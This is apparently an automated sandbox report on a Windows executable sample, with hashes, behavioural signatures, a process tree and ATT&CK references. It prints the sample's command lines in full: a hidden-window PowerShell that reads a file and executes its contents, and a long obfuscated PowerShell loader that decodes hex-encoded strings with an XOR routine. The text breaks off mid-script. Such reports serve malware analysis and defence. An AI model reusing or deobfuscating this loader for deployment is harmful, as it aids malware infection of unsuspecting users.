c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8

General

Target

c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe
Size

194KB
MD5

1da20c70f1235b75543d0478a9f761a4
SHA1

2e4139a004efdf6e3d0491590fe8261d653b2a1d
SHA256

c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8
SHA512

eaaec71458118358790ed1f956cc63753c6496e1c9a1ed16bf0e055610fcd3a8909da644ec91782c6c9a99d5862e0000a005fb9f4a136e28178a83146615ad27
SSDEEP

3072:/kBGWOsTIJgIDU5A/cpubHU7zQmZbwKV0FtyKJZ0JLKITUd03IUd3A9coJdNABIA:/1ssjTHU7fNwKm9eLI0/69VcW7M

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

832 powershell.exe
2020 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 832 powershell.exe
Token: SeDebugPrivilege 2020 powershell.exe

pid	process
832	powershell.exe
2020	powershell.exe

description	pid	process
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exepowershell.exe

description	pid	process	target process
PID 1200 wrote to memory of 832	1200	c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe	powershell.exe
PID 1200 wrote to memory of 832	1200	c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe	powershell.exe
PID 1200 wrote to memory of 832	1200	c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe	powershell.exe
PID 1200 wrote to memory of 832	1200	c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe	powershell.exe
PID 832 wrote to memory of 2020	832	powershell.exe	powershell.exe
PID 832 wrote to memory of 2020	832	powershell.exe	powershell.exe
PID 832 wrote to memory of 2020	832	powershell.exe	powershell.exe
PID 832 wrote to memory of 2020	832	powershell.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe
"C:\Users\Admin\AppData\Local\Temp\c566da32df3a2daaf7bdeebdb862951f8b4d806d74e29c9bdfba312c54eaacf8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $a = Get-Content 'C:\Users\Admin\AppData\Local\Temp\vatnisser\Vrdighedskravene\Nondissipated\Tarantellers.Int' ; C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "$a"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Skrubning Interchangings Populrvidenskaben #>$Hypochondrias = """pec;JosFIniuHarnPercavltKariNefoShinStr SalHFavTsupBAge Att{Ald Aft Nat Joe SkapTokaJamrSkaaGenmPes(Unc[MasSraatunirOveiArinMelgJag]Gar`$SupHMarSSte)Mal;Fej Smi Pro Akt Gan`$DagBApoySubtskoeOphsPre Wel=Cou PerNWoueNstwUne-OxyOHalbMidjActeEndcColtUnd FribTonyGrutAsteThu[Phy]Bry Raa(Non`$RusHTilSEss.AntLBateBodnKamgBantBechDds Fru/lub tum2mor)skj;Pho Aab Adv For TeeFGenoSyprube(Reg`$BygiOmb=Ska0Och;for Wil`$NoniBoo Akk-StalUddtVot Tol`$TeaHKnaSEsp.NeoLKlaeUndnMarginttSuphSvi;flu sma`$KoniSka+Raa=Est2Tra)Bru{Ung Gra Rea Sto Afs Ord Cen ski Dif`$ArkBSkayNattBibeKalsClo[Lan`$MuriGas/Pos2Ind]Dit Ref=Ela Hyp[SukclkaoLapnUnivTileRomrNontCru]Bef:Chi:ThaTtreoSleBPreyWastSkaepaa(Cog`$troHEleSLan.LinSForuCelbQuisVirtNonrUnciTrynOvegint(Asi`$AsbiBla,Glo Ang2Bel)app,Dec Med1Fis6Usa)Pri;Aca Hel For`$MaxButrySvetTraeBogsRev[Sam`$MiciRya/Ret2Unw]Fur Ska=Lam Tro(Fip`$TegBKalySemtPhaeUrosSub[Chu`$BobiOxy/Str2pre]Hol Val-ScabUndxMatoPorrOks Gui1Ste8Int3Arc)Deh;Sur Whe Adi Ste Dem}Pnh Bev[AvoSTodtRegrBeliLoknAnegdil]Kar[EnfSSicyCovsDantMiceLinmIll.FanTDineBedxLovtBal.CocEJamnCerccryoPardForiSkinRengDow]Dve:Pol:EftAOutSMusCSkaITriIAxo.DobGNeueEjltAloSMontNydrindidadnMongFor(Sup`$DrebFisyUdptProeSelsSyn)spa;Gar}Syn`$KolPPoreUnscSkrtHiliUpanDeniRepbAnerHesaFavnTatcBehhMasiTreaStotKraeHyp0Ste=ParHLaxTVidBMed lor'VacEFra4DisCInfEBanCVir4ReaCWes3BesDSkr2PreDAdrAUnd9Aar9ScaDDat3VksDSavBDolDCasBMin'Sun;Neg`$PosPgumevincLoutTatiLusnSysiTagbBrerKlaaBrinOpecFlohHidiAlpaDeftLecePug1Reg=RigHVenTHofBFjl Tyr'ShaFgorAFriDLdrEantDSel4SupCCla5RunDskr8KurCOec4HooDDag8AssDPje1SkbCNon3Hap9Fje9RolEEft0ImpDInbECurDSyn9Tsk8Sty4Moo8Kon5Dmm9Pre9DrnESam2WetDKre9IndCPro4BarDEup6DinDDaw1MarDPro2InsFFor9OrpDLan6cofCUnc3DepDTrsECorCKon1arrDCur2AmaFoutABegDBra2EhrCThr3VerDEftFReaDFli8EthDBer3FlaCPun4Bet'Ato;Und`$RusPPaneIdicEkltCariTruntagiDupbTrsrBoraRignComcPathProiPyraOpetShoeBut2Byg=SpiHFasTSynBSup Axo'SouFaid0HarDTtt2ChrCTra3jasEPol7JnaCArb5ProDUro8LogDKur4lbeFBer6regDWel3RabDUnp3ManCGen5NarDDyk2CelCFre4bogCCra4End'Arv;Kon`$kanPSkaeUndcFeltCociArrnUnriBrobIsorOveaKicnMedcIndhIndiBruaKlutOdeeKir3Dam=ChuHImpTProBMol Unc'ComEJon4DrlCOveEDupCCau4EscCCha3StiDLkn2MacDElaAMas9Bar9SocEUns5ReeCIma2TanDPar9PerCPre3AptDCerEDisDProAsjuDPul2Pet9Pud9RabFGroEAstDWat9ArbCDis3DynDFej2SceCCos5KerDOpr8BlnCInt7OprEmit4gidDBos2LinCVan5PlaCDef1StdDEjeECroDReb4KvlDKbe2GeoCDup4Gur9Ihu9BurFSkrFTenDgia6SkuDPol9YesDNon3CelDmgsBAlfDGug2SylETor5RoeDTil2PisDArb1Sta'Efe;Akt`$CamPPlueTorcGentDriiGrvnForiFx bskerCiraDulnBrncUophYngiAdoaIddtouteArb4For=UnaHRenTHegBSci Spa'bilCInf4FarCQuo3UnnCPro5PatDCorEimbDDep9TauDBrn0Arb'spl;Und`$SenPlabeRiscSagtRhiiOvenForiDecbStrrSamaDornNvncMathDoriTreaChetMosePse5Six=IncHRamTSkgBVic Sta'BijFBea0LonDPan2LufCret3ParFNaiANvnDkao8EnfDAsf3EroCLns2DjrDFasBMonDReg2DocFVieFVgtDGla6AmpDFun9PreDKal3UdvDAfbBCarDEks2Amm'Gaa;Boo`$ArtPPteeNorcHvitRetiNonnBloiBorbHyprpunanosnTykcDyahGiriUptaSkrtDiseSte6Fra=EleHnorTAnrBJas Spa'ResEMil5RhiELed3AstEPhi4SynCMoo7OpaDGeg2EksDKri4HirDunaESapDUnc6LidDSpoBNeuFFll9DagDCri6medDYasAAntDtel2Ove9DumBAgn9for7SalFLadFTolDTvuESurDSup3TriDFor2DobFAnd5DisCFriEBisEPaa4udvDBotEBesDSte0ban9TrsBHyr9Gem7BeaEBag7DirCOsc2ExcDSel5arbDMarBArrDHaaEpeqDRev4Afs'Fra;Skr`$TegPRadeIntcRedtViciHaanPdoiBesbrelrStraAscnHovcMychUsoiSpiaImmtSubehan7Kro=NobHDelTvinBSav Fir'OutESup5slkCKlo2SkyDHyp9BlrCPar3ForDIfaESkoDBenAMarDAfk2Bdn9DisBCya9Hed7BraFfrsACyaDPar6PolDLed9FolDsvo6ResDUnd0FakDGey2DokDSup3one'Sko;Slo`$DefPTieeMercEnetBraiSkunOveiUdsbGidrVskaretnUstcPrehOdeiUteaSudtEmieBla8Dig=HydHCneTRheBKat Hem'EkeEgel5ParDEpi2FelDEnd1HypDObsBMonDDis2OveDInd4CokCBra3LumDUmb2LvsDPer3ForFDis3SatDsle2ShiDNonBNatDDes2AllDOve0FluDTol6BenCbou3MetDPar2Ter'All;Mel`$BraPUreeTrycSvvtTimiExenIntiRgebBasrAveaBownflicMeshBeaiFelaOvetSubeBal9pol=HusHBilTForBCyl Thy'SprFGenENorDSka9DomFbraAUntDUnd2UnfDKhaAVagDDul8LibCInt5FerCHarEVikFUniAulnDEng8IndDEks3SolCStr2BriDStbBStaDEra2Ins'Sel;Cat`$KovKAfmrCorlDatlRep0San=BarHnyoTUrfBAlb Stb'hapFUpsAPriCBufEGenFDes3AfsDDep2BorDUndBFatDTjr2TraDFil0EurDSpi6BagCNd 3redDoom2IntEKom3ParCPolETekCsor7ArbDHom2Geo'Gad;Fal`$SkiKMinrTarlOvelDag1Kau=AdrHBagTHomBRam Dow'CacFSkm4NemDIncBFanDGif6BytCGru4PanCAcr4Tet9ParBBac9Que7SrgESar7PlsCUds2WinDCha5SemDHusBSupDvejEchaDAfl4Des9AllBPyr9Ben7PjeEUra4CalDMon2DeaDRes6BudDLevBPabDHem2UmbDDoe3Har9HanBHan9Alo7SkaFind6BadDgri9BibCBea4AfvDDisELitFTri4EarDBosBKunDDis6SupCBev4roeCIgn4Unc9DisBTwe9Mob7LosFAfr6MelCBes2MatCIbn3RewDgen8BasFFre4KluDLacBDriDOve6NerCFor4harCPer4Rob'Afd;mum`$FubKFlyrComlStilMaa2Che=AnsHPerTindBAtt Nit'InvFUdsENonDAfl9BraCSol1GodDNon8RetDKurCLitDFis2Jai'Ant;Nor`$BasKAtorabslTeklBee3Reh=SepHIslTsprBSma Ant'gruEele7WhaCSha2AerDMin5FakDFarBlekDSnuEJagDNet4Dem9SpoBsil9Stb7MetFWomFMusDrekEPerDInd3KroDSun2LsnFFor5PolCBilESemEMac4SkrDLarEPalDGrs0Non9TilBhon9kde7CapFSpl9SteDNem2BulCEks0ResESid4AgrDLbeBIndDOsm8BucCNev3Civ9AgrBLie9Oms7ProESki1ComDHviEbriCSwa5SubCFly3OveCOve2IndDHen6GveDFinBgod'Ser;Cal`$ScuKUdsrTralharlAng4Sal=SepHMilTSamBZel Sla'FagEPun1BroDYorEAvoCOve5DisCKdf3LapCski2OrdDPre6DelDarvBDrmFEch6PerDIsoBdarDproBTeeDAnc8BatDHar4Fig'Pal;Kon`$SulKGgerPerlafklCer5Spi=PerHTidTRadBBro For'VibDArc9BiaCHom3JubDWil3setDIntBAktDPhaBTev'For;Dea`$horKBacrStolHeslZab6Ath=CraHPreTpudBHol Fan'NodFTer9KatCZir3AutETil7HieCnit5SloDint8AkvCSis3AfhDCon2IntDDri4GlaCTok3FlaEval1AmlDRefEJorCGla5nonCafs3CilCKry2nerDKon6PloDRetBDseFfreAOstDPaa2MinDMisADalDMet8DatCBrn5EnaCEntERed'Gus;Eve`$DobKPanrPotlPatlKul7Cha=JesHTanTmezBupb Unh'EndFFlaEOrdFFer2UpbEDanFres'For;Afi`$KarKNigrQualDoglSte8Udj=StoHSkrTmanBund Pla'SetETilBIns'Bes;LevSDraeDyrtPen-AltAProlAppiSubaCrysLuc Gen-KldnturaFobmHureBal PreKepirSpelKkklPaa9Sil Trr-VrdvBilaAntlUnhuRuneKau Kon`$GruKLysrScelParlSte7Int;ValfMuludisnTelcStatUnpiKomoBranuvs BesfautkForpals fel{PatPBaaaAfrrHeaaPitmsce Ind(Ple`$GarvUsu_SemmPun,Tan Kam`$minvFlo_Oprpsen)Hab Kar ben Det Cig Bes;Sel`$assSstouVinpDeneResrkoraStosinttFrooDisnBoliHaisSkohPrimIneeAnsnWigtMat0Bin Myl=CanHLinTMajBLau Cha'Isa9Sys3KroCTek1freCDel2LacDAut9CykDInhALug9Fet7Sja8MilALop9Udt7Lig9TegFDunENakCPhaFAbo6TilCHob7CoeCCit7SymFMat3HarDImm8srsDKomAEbbDUdd6FasDPolECycDdob9renEUdlABuf8PorDneo8retDdivFwar4AlmCNyh2SekCTel5IndCBre5CryDNav2ParDCla9DedCSta3parFPic3TopDBro8BefDKliALunDSuf6ParDMytESprDDus9Gst9Fjo9KarFAni0WeeDBim2BloCKon3UnoFFil6FruCKla4DecCGen4BehDTar2PdaDJeoAKapDSei5GarDUptBUnrDBrdEFleDSan2GluCOpu4ser9HstFNep9AfsEUnn9Rec7gruCGarBPer9Ban7borECum0EvoDMicFLutDTog2SasCNun5sanDPos2Mih9DepAIsoFUns8AssDTil5GriDOrdDEncDLat2SmuDfle4UntCSte3Try9Pla7StrCKonCChe9Okk7Tid9Muc3TesEDec8epi9Eul9SvoFEsk0OutDAllBEmbDDan8HusDAna5EndDChe6PukDHusBStaFCab6TraCElf4enrCGob4VgtDBra2EnlDGanAGnaDHel5FisDkktBUndCGraEKviFBer4OphDBan6HypDDat4MisDUnwFHesDBut2Irr9Kat7For9farADioFrig6SenDTri9indDNor3ind9hip7Luk9Ove3PrvEIne8Coo9Sti9LdrFPreBRacDAdj8DeoDDea4TryDKvi6NinCArk3CurDColEKliDCol8DeaDAnf9Lus9Blo9StaENet4DecCTet7FreDCenBOptDfoiEOffCCyt3Bra9KomFDis9Ato3shaFImmCPriCKob5JazDSanBUdtDInhBmoi8MilFCon9AfkEBraEPolCHot9PaaAKvi8Phe6GroEdyrAAdg9Man9PluFGig2ildCSkr6tosCAnv2KonDPri6MinDIndBGleCTeo4Mat9SimFHal9Acm3AssEApp7RouDCiv2ElfDSpr4AktCHot3ConDJapEResDSep9SwaDCopEkabDRom5DubCAnk5RetDqua6UnsDtrl9PiaDTeg4SlaDDeaFPenDchiEAarDPer6BebCAli3CoeDGoe2Fre8fid7Pre9YdeEBas9Sto7AkkCVilAMat9NonEUti9Jut9thiFpse0DisDFde2TriCIbe3FocEExa3SugCAndEForCGod7TreDRen2Pro9KoeFVej9Bon3MelEBes7HytDLev2CodDEks4pulCUdf3GecDPlaEVesDTid9wryDIntEafbDTum5KobCCri5ApoDHyp6ChaDTri9AvoDpla4SpoDUndFChrDFieEBryDSju6egoCTrl3StjDInt2non8Bel6Fag9RusEkde'Pom;RamKEnarLutlPiclmes9Tra Ant`$SkoSBowuStrpOveeIkorDrkaSubsRettMisoAlinSmuiBessKonhKrimInkeOvenzactuna0Vog;hyd`$VenSinvuBeppTraeNaarForaSamsPadtRhaoPoenKliiForsSlahRaamEnfeBoonDoctDia5Den und=Tri UndHunbTGebBZem Blo'Iag9Til3HovCOme1UnbDMag6ChrCSde5AftESel8InfDFor0DenCMet7FaiDThr6lrl9Skd7Del8NorASub9Bra7ove9Ves3alfCLou1WhiCKam2lseDCir9ChaDSidATry9Kru9NonFFli0PirDInn2skaCGen3RelFuniAZulDund2BerCMor3FooDOphFSkoDimi8FljDPoi3ind9PicFMom9mde3DenEben7PreDArb2ManDByt4AttCAmy3AnaDGooEJrpDGhe9CanDSamEComDOdd5RdnCund5AdoDSta6UnsDNom9reiDInb4LenDSamFInvDRepEMinDInt6AfpCRav3SovDTur2Kon8Ver5Win9ProBDef9Raf7TunEBenCUngETro3SkrCSlvESupCSku7AnoDKor2BudEDknCFroEDksAUdpEBesAina9Bag7AdjFGen7Evi9MetFAla9Pat3TinEOrc7SurDRet2UraDDah4StoCDru3FalDFloEOpgDTem9AfkDSubEForDChu5NonCDog5EmbDRag6NemDSel9UnaDnit4SviDMilFNeuDForEBesDRll6EngCPre3OrtDTel2anm8Mad4Ful9UnaBWer9Non7Cra9Unb3BraEOve7LejDFre2IndDSub4KoaCGrn3BisDUngESwoDRul9MysDAfrENyhDGar5LimCWhi5subDRai6BenDInv9MunDNet4CloDplaFTogDSacEPsiDSas6FluCfor3UrpDHea2For8Bur3Qua9FedEPum9DepESet'Pre;CarKPodrCellRedlAnv9ash Syn`$ScaSSubuVrdpChaeSpirAppaBrusHovtSagoAfvnTiliForsPulhMatmPiceGrunAprtBde5ube;Slu`$OpdSKueuSydpUnweMelrIsoaSynsHagtDrioTabnEftiImdsBrdhSkumSofeKwanchrtBlo1Wag Bom=Tid ModHNonTFloBDip Exp'AskCamf5AmpDKva2HanCvar3BasCObn2TruCTra5OutDOve9Uns9Vil7Nav9ind3PecCKom1TerDBle6YasCMet5FleESam8murDTri0KnkCSla7VelDHoo6Ryp9Tag9PelFminEFugDPen9BerCLan1KonDUng8GulDfraCFetDTas2Lit9JocFSer9Ext3AndDFil9PsyCRes2HibDvlgBFesDCenBSch9JahBKra9Trk7FibFAnk7Uno9Bf FCarEPodCPubESem4SelCFinEUbaCAdl4AdrCDul3PreDBog2SquDSigARen9Stf9AurEAkv5SheCFor2DisDUds9UtrCFlu3BajDIndETraDHalAUvuDUnm2Mur9Tek9InnFNouEUndDBar9FotCEdl3FirDSol2PloCSta5UdsDPhy8ForCRav7SjoEMis4LaaDLea2FatCFor5PelCnan1MytDDisETarDInc4TowDSan2TraCGen4Hje9Std9fyrFsenFFreDTid6ObsDMac9AleDSpa3SmeDS CBFjeDSki2PalEluf5SrmDNer2BriDOmb1VinEMelAKal9CleFSubFemb9ExtDFri2EftCIod0Non9sowAFisFSem8sphDSky5GruDNebDStiDIso2DomDDat4UdbCTot3Eli9Kvr7BugESyn4SarCCivEPerCUnc4ideCJet3monDTae2LigDAffABob9Bag9TraEUne5KamCScy2OboDAnt9AutCFir3ChrDPamEPreDBegAProDVer2Tro9Spa9eldFSegEBusDUnl9ChoCSow3SkiDVer2NauCSha5eviDShr8SikCank7AdeEAfl4ChiDuly2KoaCInc5UnrCEcl1LigDSalEFliDFes4UncDUdf2LizCTor4ski9Ssk9ProFTvrFSubDFol6RinDInt9YesDUnn3BimDSorBSpeDneu2UlvEBri5DolDSub2TriDFis1Unm9IrlFKub9BalFMeeFSti9NonDPos2VaeCStr0Bia9NonADimFDod8SelDEri5ForDFleDVolDDat2HavDFle4GodCFag3Ech9Bin7FilFUdrESanDFly9MatCUng3FibERek7TurCTim3ForCmag5Bid9AnnEStu9RunBSem9Van7gif9skrFSpa9bry3RedCDip1KroCRen2FusDRai9DomDKinARie9Luf9AviFAst0DisDOmf2UnpCKas3KorFHurAPhyDGer2RetCUdk3AthDCelFPasDHer8SkvDUdg3Min9CalFAfs9Sam3CirEGro7KloDAca2BorDVej4KurCDde3TalDHitEKolDFod9GriDUnrERumDOks5AvaCDia5NemDCor6BegDGri9FogDDis4TutDHovFmirDspaEModDSpr6fesCQui3BenDAmy2Ind8Ete2Sea9AthESvo9RifELuf9Tau9BrnFBldEBraDFre9UndCEsk1BeaDMil8SasDincCFisDCen2Hys9PelFTob9Hud3patDHom9AngCFow2oilDOutBDecDKolBSan9GalBsub9Ber7DiaFcor7Sem9MelFKon9Gay3QuiCSpe1FreECod8SynDLnsAFor9SmuETra9UltETek9SupEHje9FinEKnt9adoBTeh9Hel7wor9Ros3TolCSmk1VelEIns8SupCsky7Vis9azoEHyp9DilEStr'Saf;AfsKVanrSlilPrelUng9Goo Bor`$AntSKiluUnfpIndeLiprHetaKonsstrtMonoGlonDeciVldsOvehTrimTegeBlgnAlatRef1Rec;Syn}JorfVinuQuankoncbrdtTokieftoPeanLet dhuGArbDbibTIng Wag{IshPNonaHyprCloaPetmAur Woo(ruf[BulPUgoaHairafbaPatmSteeLuttSkieSnirLns(DgnPLanoPotsKakiOphtLisiSlaoEksnSel Sko=Cas Fin0Sle,Pla AfsMBesaConnMusdFagaBoatQuaoArcrPatyHea kor=Luf Eta`$styTLufrSoauPseePap)Raa]Sil Prs[UnmTBehyVidpMageSul[Dew]Sta]sla Tan`$SnevSysaSurrstu_LrepHumaMaarAktaEmpmclaehantTrieInsrKarsAla,Cor[chiPOveaBkfrVilaCanmSkreNontPreeBeorRot(TurPHaboSupsGaiiLegtAzuiTiloUndnRor For=uda Man1Una)Oxy]Ari Sug[VgtTFuryBenpFreeBes]Fal Sem`$SkivKnorUnatAnt Pan=Dem Udf[SviVSdeoCloiSejdFes]Brs)Sil;ved`$BesSLyeuMonpFeneSterjayaTrasAnttOproTurnCimitapsCishFyrmGeoeDesnAmytNit2Pri Skr=Lac BlaHRodTFoxBRol Ban'Dat9Par3ArbEtim1KrsEDaa3RanFFed5Non9Est7Res8carASvo9Rea7AntESkiCHygFUku6FunCGra7FrdCtil7ForFTai3OmkDDel8RifDBerACreDGen6UnfDPraERejDHai9PasESugATra8LoaDGas8UmiDSydFDis4XerCPer2JayCTaa5PolCBot5PubDFlo2TraDUng9GalCFil3pjuFReg3UnlDBas8DelDPulAPhiDCir6SelDbruEGenDMan9Sti9Nar9unpFFor3TapDAct2FilDBor1PilDGniEbilDGem9SatDytt2BooFBaa3TarCInfEAidDSny9BygDSku6MonDSolATraDSkeEBokDFol4ConFVer6AktCRev4BesCKom4MicDHea2BibDUltAWatDGer5IntDCocBNonCPenEBus9VioFRhi9antFBanFPul9VesDMon2EvoCAca0Unc9ConADisFFam8RedDAfm5AnaDDenDHolDSco2BarDKjr4SelCTra3Aru9Pro7CigElan4homCSpiESbeCPre4InsCUvr3JagDFer2equDAltATri9Blo9ParEJae5ForDtan2ForDVer1SubDKanBConDCha2StaDLic4DisCnon3LutDBanETegDGla8CelDMun9Tin9Sko9BehFAdv6PauCTil4MonCPol4KabDPol2BruDRedAOveDuni5HorDrobBCocCAreEKonFUnd9SanDRas6PosDFogAUreDEje2Non9DelFDou9Lar3UnrEBlo7TheDTra2FloDEne4RobCTri3SplDBicEGloDInt9SagDDovEPerDCha5LivCRef5HodDEnd6AllDFil9JogDSpl4LedDGenFPolDCarEKonDRes6PurCTri3Hv DFog2Akt8EmbFTra9EndEAni9EksEDis9SowBStb9Maa7PluELysCTumEEne4KloCCleEOthCBgh4SkyCAlk3TjrDFal2UniDLimAgoo9Omv9bukEMon5TalDJac2BotDRec1NeuDSplBMonDred2BehDHun4tonCAut3SkiDPerEHalDNeo8KonDUdl9slu9Rvb9ParFDyb2RamDfraAStaDInsEAbaCDes3Sta9Sem9HenFStu6CoiCInc4RepCFlo4CenDUdh2EftDWerAKasDVaa5BraDAndBParCNonEregFFra5EpiCGra2NeaDHinESemDBlaBOusDIni3upsDInd2RonCHay5bruFSpe6SkiDFra4balDImb4IncDBes2SfoCSab4GudCSma4HelECitASop8FatDpti8PosDTriEEka5DecCLik2NdrDPro9Ban9ComESna9Dra9SmaFIna3KomDRop2SamDFor1OpsDKorEMinDEks9UnuDMes2HypFMar3EngCOreEUndDFam9StoDFor6KonDPloAtamDRepEFitDFly4TotFDisAUndDSyb8MgkDTil3MadCFri2MenDBokBAdoDKon2Rot9MisFHje9Skr3AltEGlo7FalDRef2TagDPaa4furCnon3EriDAkoERedDkri9PigDStaEBreDCap5lamCDay5SkyDSok6cerDInd9UnjDMod4MagDAfmFBagDDisETraDTro6NeuCFri3regDUnd2Ska8ErrEDep9KooBLic9Kla7par9Bes3HemDbeh1TilDHun6TitDoveBeneCuds4TheDUdb2Had9OveEVur9kry9HaaFLib3ForDBot2PokDUnd1BogDMalEdecDTru9HieDSpi2JarENon3UdsCAndEGeoCPaa7SalDBeb2Kon9DavFBlo9Lin3NauFUdpCUdeCQvi5AstDMetBForDpedBfor8Bug7Cer9coiBMiz9Woo7Pat9Cli3RdsFUnsCShrCVin5BerDTryBUnaDGraBOpv8Cre6Non9LniBUnw9acr7WhiELssCharETra4FirCAdeEVedCEne4TerCUte3AllDApo2GroDShoABed9Unc9OpsFGiaAMarCAfr2LitDSupBDilCFed3logDHudEcenDGln4SubDPre6BacCsam4euhCCes3TerFKvi3PreDNon2CroDLicBFanDOrd2traDlig0HepDapy6MamCAnt3SalDKon2JouESufATem9SydEKen'Ire;KonKfinrTemlOvelUno9Unr Amb`$PhoSReiuEftpjydeDacrStuatotsAfdtSploIodnBetiPlasBebhWarmColeDisnSictInl2Cen;dis`$ZoaSSiduCanpTapePrerViraSymsRettRytoTannHygiFemsLeohNonmInteMannSkotSub3Sko Uma=Ung UliHRvrTBedBLei Con'Cab9Pil3DecEWeb1BorEWil3OveFStr5Rec9Tho9MacFSul3KloDMor2GaeDBol1AvaDUnfEHemDKna9IncDPos2YndFUhy4CalDInd8UdsDCha9SerCEgo4BasCAnt3UnhCSto5BilCEst2BraDAb 4DraCOrd3ApoDFac8IntCLow5Skr9PatFSta9Sta3KonEHel7PleDSto2DugDIde4AmmCfje3skaDcoeEFinDHjl9sloDNasEgenDIns5TutCAdo5traDSer6EkvDDep9GasDInd4HelDTonFSmyDFlaEPanDRej6AffCDip3ParDSub2Ast8Men1den9OpuBSte9Omf7HamEIloCTymEInd4RemCDisEAftCDom4ScrCSub3TelDmun2GorDParAAco9bla9GarEDeh5EnuDnon2CryDPyr1SkaDSbeBDisDMys2PosDBut4ArrCfra3AfsDHrsEKhuDDem8InfDPaa9Hnn9Dal9BenFLyk4BegDret6droDAktBGdsDFloBCurDOpkEPorDDyr9IntDPse0IneFKra4TriDCir8kasDFor9FljCFrp1SnuDaud2GaiDRyn9LeuCFlo3bunDRagEStoDGed8SasDFus9SupCBid4UnlECerAFor8RdaDUpo8LrrDDubENon4PapCMil3SkiDvei6RouDrei9AfsDInt3BliDNas6BurCFrb5StoDInt3Tor9ObjBRes9Sal7Mik9Hor3ChoCUnd1JenDPra6BenCGre5ApoEDif8VieCbat7CopDNer6RreCFes5DelDCom6RefDRubAFloDNew2ReeCSid3OveDWib2MisCRig5ChaCGau4Tro9priEUni9Asy9UdvECac4LasDSom2GenCHex3PheFpriEGruDPolAAfmCInd7SynDLabBSrvDove2BesDBraAUanDTro2forDLge9AffCSma3ApoDHen6kjeCHof3UngDendEChaDPar8DksDSti9OutFvic1SaxDCafBMunDMis6AcaDUds0TerCCur4Out9FluFSet9Wav3EloEObt7ForDHis2FejDWea4ProCMou3OrgDSenEFstDunm9TmrDMilEBajDCon5DiaCFla5friDSpe6HonDMaa9TilDFor4AfbDVinFStaDUnsEMonDFre6DepCSta3PleDFor2Dow8Der0Dmm9ValEInd'Fyr;ComKborrknilJanlGaa9Chi Tje`$CarSInauPodpSlueFulrSmeaVavsFortFrioAlmnDisiTilsChahCammGudeRannStrtDen3For;uer`$GroSSlauVolpSneeGlirFilaAlesOrctPreoCirnInsiTrosMyshAcqmOrteKidnElotSvo4Ill Aer=Lnk ProHPytTOssBTro Amp'Tra9Sam3HarELos1AbnEJoh3MamFAut5Oxy9Bln9PreFVis3ForDBee2CanDReg1ForDRinECouDBus9VenDLum2GutFbadAAliDTrl2UndCUnr3DelDBolFGloDLet8TykDUnf3Rad9OrdFHas9Trk3LatFKodCLysCCop5SkiDAstBUriDEksBFla8Cen5Arg9SopBJin9Dyn7Ste9Ses3SpiFretCtraCFid5PlaDKryBHobDSnkBTur8Cer4Pol9BlaBSai9Bih7eld9Udd3MatCBru1DovCLeg5NskCBir3led9SiaBBre9Bor7Sto9Hum3KneCBil1DetDlob6SurCCir5SteEUpd8MurCDes7BilDDiv6DegCCel5BesDCho6LufDMisAParDAri2TrvCEpi3TryDUpg2CelCMot5DecCBel4Dek9PalEAfp9Udr9KenEPar4FlaDCol2TorCSka3DomFAnpEDobDFucASteCBru7EliDQuaBIntDPic2PloDnetATryDUna2UncDRaa9KldCSti3xenDPhy6DerCHur3BisDNetEInvDRig8PenDSyt9nonFFor1BetDDetBUltDBac6IdeDEnd0CirCImm4Dde9TarFEft9Win3PorESpi7PigDVen2MilDGro4DesCKwh3DioDRetEHerDSag9VivDGalEAceDski5SinCPup5SyvDUnc6SigDMil9OveDRou4NstDFalFPreDeriECheDBan6SkuCStr3MunDUnc2nam8Red0Kul9HanEBor'Bha;ReeKMunrNonlUnclStr9Vit Cor`$SpiSStruBygpSubeCorrVoraGrysRumtklaoGebnBaniUnhslephmucmInteDepnCurtUna4Bog;Sta`$AftSprauSkrpKaleMoirCheaInssWintUsaopernHeaiKrisovehClimOuteBennRintThe5Kni jor=Blo TerHDefTFolBOve Bep'StoCJih5PlaDgen2FisCsta3ValCFed2KnlCPer5StoDMel9Ove9Str7Sla9Pat3FliEGll1TabETim3VesFTan5Fal9hyd9BakFFul4FemCJad5SubDBet2PinDBil6DdsCGig3RanDSki2KapEDkk3SkaCMayEhinCBil7RasDBek2Tim9NavFUne9AnsECoa'Lim;BlaKMedrKamlUdslcal9Cli Kvl`$SkiSPamuInepRoeeSuprColaVitsrebtAlloLgenEliiLucssvrhblomPoteSpinModtHoo5Epi Emb Acc Una;Fld}Att`$StrkNonkKns Snd=Non FroHKohTSolBSaw Udg'GenDFulCDelDMis2BajCFle5AftDCoc9AchDRen2ChoDKonBDet8Ste4For8Mag5Mon'Fam;Gyn`$EnsuHeauRev Opt=Una LobHSlbTTerBBol 